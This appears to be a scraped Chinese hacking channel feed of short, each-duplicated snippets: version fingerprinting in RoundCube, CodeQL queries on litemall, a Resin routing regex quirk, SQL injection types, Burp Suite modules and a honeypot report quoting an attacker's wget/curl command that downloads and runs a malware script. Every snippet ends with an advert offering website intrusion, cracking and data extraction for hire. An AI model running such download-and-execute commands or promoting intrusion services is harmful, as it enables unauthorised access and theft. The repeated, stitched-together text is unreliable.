长会话模式
模式简介:
整个Web应用使用单个持久数据库连接,所有用户请求共享此连接。
使用规模:
较少,特定场景:金融交易系统、小型嵌入式应用,一些较老的cms也存在此情况
利用可行性:
所有用户操作在同一个会话中,但条件1需要不同会话才会产生锁等待,所以不会发生锁等待,也就不能造成延时的效果
这里以MRCMS-3.1.2版本为例,他就是长会话模式
通过数据库监听工具可以看到,无论进行多少次数据库操作他的thread_id一直都为994,尽管切换登录,替换用户凭证,ip等都还是thread_id为994且没有断开连接,那么就不满足条件1:需要不同会话(只有不同会话的锁竞争才会导致延时),也就不会导致锁等待,就不会造成延时的效果。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
模式简介:
整个Web应用使用单个持久数据库连接,所有用户请求共享此连接。
使用规模:
较少,特定场景:金融交易系统、小型嵌入式应用,一些较老的cms也存在此情况
利用可行性:
所有用户操作在同一个会话中,但条件1需要不同会话才会产生锁等待,所以不会发生锁等待,也就不能造成延时的效果
这里以MRCMS-3.1.2版本为例,他就是长会话模式
通过数据库监听工具可以看到,无论进行多少次数据库操作他的thread_id一直都为994,尽管切换登录,替换用户凭证,ip等都还是thread_id为994且没有断开连接,那么就不满足条件1:需要不同会话(只有不同会话的锁竞争才会导致延时),也就不会导致锁等待,就不会造成延时的效果。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
❤2
对源代码进行研究
在RoundCube Webmail源代码中我们发现存在对静态文件路径进行处理的函数
检查后缀是不是常见的前端资源(JS、CSS、图片等)。
如果是,就调用 $this->file_mod($file) 给它加个时间戳(比如style.css?v=123456),起到缓存更新控制的作用。那这块提到的file_mod方法就是对给前端资源文件自动加上版本参数(文件最后修改时间对应的Unix 时间戳)
使用了filemtime(string $filename)返回指定文件的最后修改时间并拼接到静态文件后,这也确定了此方法的可行性。
通过研究发现每个版本对应的文件时间戳都不相同,因此可以通过计算静态资源文件最后修改时间并生成版本映射库来实现静态文件时间戳识别版本,对于更新迭代较为缓慢的产品也可以采用资源文件最后修改时间对应产品版本发布时间来判断,当然这样不是非常准确,但也为我们提供了可参考价值。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在RoundCube Webmail源代码中我们发现存在对静态文件路径进行处理的函数
检查后缀是不是常见的前端资源(JS、CSS、图片等)。
如果是,就调用 $this->file_mod($file) 给它加个时间戳(比如style.css?v=123456),起到缓存更新控制的作用。那这块提到的file_mod方法就是对给前端资源文件自动加上版本参数(文件最后修改时间对应的Unix 时间戳)
使用了filemtime(string $filename)返回指定文件的最后修改时间并拼接到静态文件后,这也确定了此方法的可行性。
通过研究发现每个版本对应的文件时间戳都不相同,因此可以通过计算静态资源文件最后修改时间并生成版本映射库来实现静态文件时间戳识别版本,对于更新迭代较为缓慢的产品也可以采用资源文件最后修改时间对应产品版本发布时间来判断,当然这样不是非常准确,但也为我们提供了可参考价值。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
参数类型为指定的数据结构
通过对上一步查询结果的观察,发现存在非绑定类型的参数,如:String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码,发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为:
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便,将上面的代码进行整合,重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过对上一步查询结果的观察,发现存在非绑定类型的参数,如:String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码,发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为:
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便,将上面的代码进行整合,重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
👍1
针对 Linux SSH 服务器代理安装攻击
TinyProxy 安装案例
攻击尝试登录蜜罐Linux服务器,登录成功后,使用以下命令下载并执行Bash恶意软件。
# (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh
该 Bash 脚本首先根据操作系统环境使用 apt、yum 或 dnf 安装 TinyProxy。它会操作配置文件以允许外部连接并保持持久性。
具体来说,删除 TinyProxy 配置文件“/etc/tinyproxy/tinyproxy.conf”或“/etc/tinyproxy.conf”中以 Allow 和 Deny 开头的访问控制规则,并添加规则“Allow 0.0.0.0/0”。此规则允许来自外部来源的不受限制的访问。这样,攻击者就可以访问 TinyProxy 服务使用的 8888 端口,并将受感染的系统用作代理。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
TinyProxy 安装案例
攻击尝试登录蜜罐Linux服务器,登录成功后,使用以下命令下载并执行Bash恶意软件。
# (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh
该 Bash 脚本首先根据操作系统环境使用 apt、yum 或 dnf 安装 TinyProxy。它会操作配置文件以允许外部连接并保持持久性。
具体来说,删除 TinyProxy 配置文件“/etc/tinyproxy/tinyproxy.conf”或“/etc/tinyproxy.conf”中以 Allow 和 Deny 开头的访问控制规则,并添加规则“Allow 0.0.0.0/0”。此规则允许来自外部来源的不受限制的访问。这样,攻击者就可以访问 TinyProxy 服务使用的 8888 端口,并将受感染的系统用作代理。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Content-Type中的boundary边界混淆绕过
因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
SQL注入
SQL注入是一种攻击,当攻击者能够在易受攻击的SQL查询中插入并执行恶意代码时发生,如[10]中所讨论的。这些攻击通常用于绕过登录机制或从数据库中窃取敏感信息。
SQL注入漏洞的主要原因在于直接在SQL查询中使用未清理的用户输入,以及缺乏安全编程实践,如预编译语句或参数化查询。
经典的SQL注入形式包括尾随查询,攻击者通过插入恶意SQL代码来操纵输入字段,通常使用分号(;)来终止合法查询并附加恶意查询。另一个典型案例是利用存储过程,攻击者通过注入的SQL语句创建或操纵数据库过程。
更高级的SQL注入形式包括:
盲SQL注入,用于应用程序不返回可见错误消息但允许通过行为变化进行推断的情况。这可以进一步分类为:
基于布尔(基于内容):攻击者在查询中发送布尔条件,并观察应用程序响应的内容或结构差异,以推断信息。
基于时间:攻击者利用SLEEP()或WAITFOR DELAY等命令诱导时间延迟,从响应持续时间推断数据。
基于UNION的SQL注入,攻击者使用SQL UNION运算符将原始查询的结果与另一个恶意查询的结果结合起来,从而有效地从其他表中检索数据。
带外SQL注入,用于传统技术失败时。这种方法依赖于DNS或HTTP请求等外部系统来窃取数据。当攻击者无法直接观察应用程序的响应但可以触发远程服务器上的事件时,这种方法特别有效。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
SQL注入是一种攻击,当攻击者能够在易受攻击的SQL查询中插入并执行恶意代码时发生,如[10]中所讨论的。这些攻击通常用于绕过登录机制或从数据库中窃取敏感信息。
SQL注入漏洞的主要原因在于直接在SQL查询中使用未清理的用户输入,以及缺乏安全编程实践,如预编译语句或参数化查询。
经典的SQL注入形式包括尾随查询,攻击者通过插入恶意SQL代码来操纵输入字段,通常使用分号(;)来终止合法查询并附加恶意查询。另一个典型案例是利用存储过程,攻击者通过注入的SQL语句创建或操纵数据库过程。
更高级的SQL注入形式包括:
盲SQL注入,用于应用程序不返回可见错误消息但允许通过行为变化进行推断的情况。这可以进一步分类为:
基于布尔(基于内容):攻击者在查询中发送布尔条件,并观察应用程序响应的内容或结构差异,以推断信息。
基于时间:攻击者利用SLEEP()或WAITFOR DELAY等命令诱导时间延迟,从响应持续时间推断数据。
基于UNION的SQL注入,攻击者使用SQL UNION运算符将原始查询的结果与另一个恶意查询的结果结合起来,从而有效地从其他表中检索数据。
带外SQL注入,用于传统技术失败时。这种方法依赖于DNS或HTTP请求等外部系统来窃取数据。当攻击者无法直接观察应用程序的响应但可以触发远程服务器上的事件时,这种方法特别有效。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Burp suite
Burp suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们能够自动化或手工的完成对web应用的渗透测试攻击,在渗透测试中,我们使用Burp suite将会使得测试工作变得更加容易和方便,即使在需要要娴熟的技巧的情况下,只要我们熟悉Burp suite的使用,也会使得渗透测试工作变得更加轻松和高效。
Burp suite 各大模块:
Target(目标)——显示目标目录结构的的一个功能
Proxy(代理)——拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider(蜘蛛)——应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner(扫描器)——高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder(入侵)——一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。
Repeater(中继器)——一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer(会话)——用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder(解码器)——进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer(对比)——通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender(扩展)——可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
Options(设置)——对Burp Suite的一些设置
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Burp suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们能够自动化或手工的完成对web应用的渗透测试攻击,在渗透测试中,我们使用Burp suite将会使得测试工作变得更加容易和方便,即使在需要要娴熟的技巧的情况下,只要我们熟悉Burp suite的使用,也会使得渗透测试工作变得更加轻松和高效。
Burp suite 各大模块:
Target(目标)——显示目标目录结构的的一个功能
Proxy(代理)——拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider(蜘蛛)——应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner(扫描器)——高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder(入侵)——一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。
Repeater(中继器)——一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer(会话)——用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder(解码器)——进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer(对比)——通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender(扩展)——可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
Options(设置)——对Burp Suite的一些设置
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
❤1
在 Resin 中,每个路由都使用正则表达式来进行匹配,如果多个 Servlet 都匹配中了同一个 URI,则会根据匹配的精度选择最佳结果,从而符合 Java EE Servlet 标准中的路由映射定义。
对于精确匹配,比如 /hello,对应的正则是 ^/hello$;
对于路径匹配,比如 /admin/*,对应的正则是 ^/admin(?=/)|^/admin\z;
对于后缀匹配,比如 *.jsp,对应的正则是 ^.*\.jsp(?=/)|^.*\.jsp\z;
其中精确匹配的末尾是 $,而后缀匹配的末尾是 \z,这二者有何不同?经过翻阅文档得知,\z 表示字符串末尾,而 $ 表示行末,因此 \z 可以匹配换行符而 $ 不能!
继续往下看,getResourceAsStream 查找磁盘或者资源文件的实现如下:
public InputStream getResourceAsStream(String uripath)
{
Path rootDirectory = getRootDirectory();
Path path = rootDirectory.lookupNative(getRealPath(uripath));
if (path.canRead())
return path.openRead();
else {
String resource = "META-INF/resources" + uripath;
return getClassLoader().getResourceAsStream(resource);
}
}
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
对于精确匹配,比如 /hello,对应的正则是 ^/hello$;
对于路径匹配,比如 /admin/*,对应的正则是 ^/admin(?=/)|^/admin\z;
对于后缀匹配,比如 *.jsp,对应的正则是 ^.*\.jsp(?=/)|^.*\.jsp\z;
其中精确匹配的末尾是 $,而后缀匹配的末尾是 \z,这二者有何不同?经过翻阅文档得知,\z 表示字符串末尾,而 $ 表示行末,因此 \z 可以匹配换行符而 $ 不能!
继续往下看,getResourceAsStream 查找磁盘或者资源文件的实现如下:
public InputStream getResourceAsStream(String uripath)
{
Path rootDirectory = getRootDirectory();
Path path = rootDirectory.lookupNative(getRealPath(uripath));
if (path.canRead())
return path.openRead();
else {
String resource = "META-INF/resources" + uripath;
return getClassLoader().getResourceAsStream(resource);
}
}
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke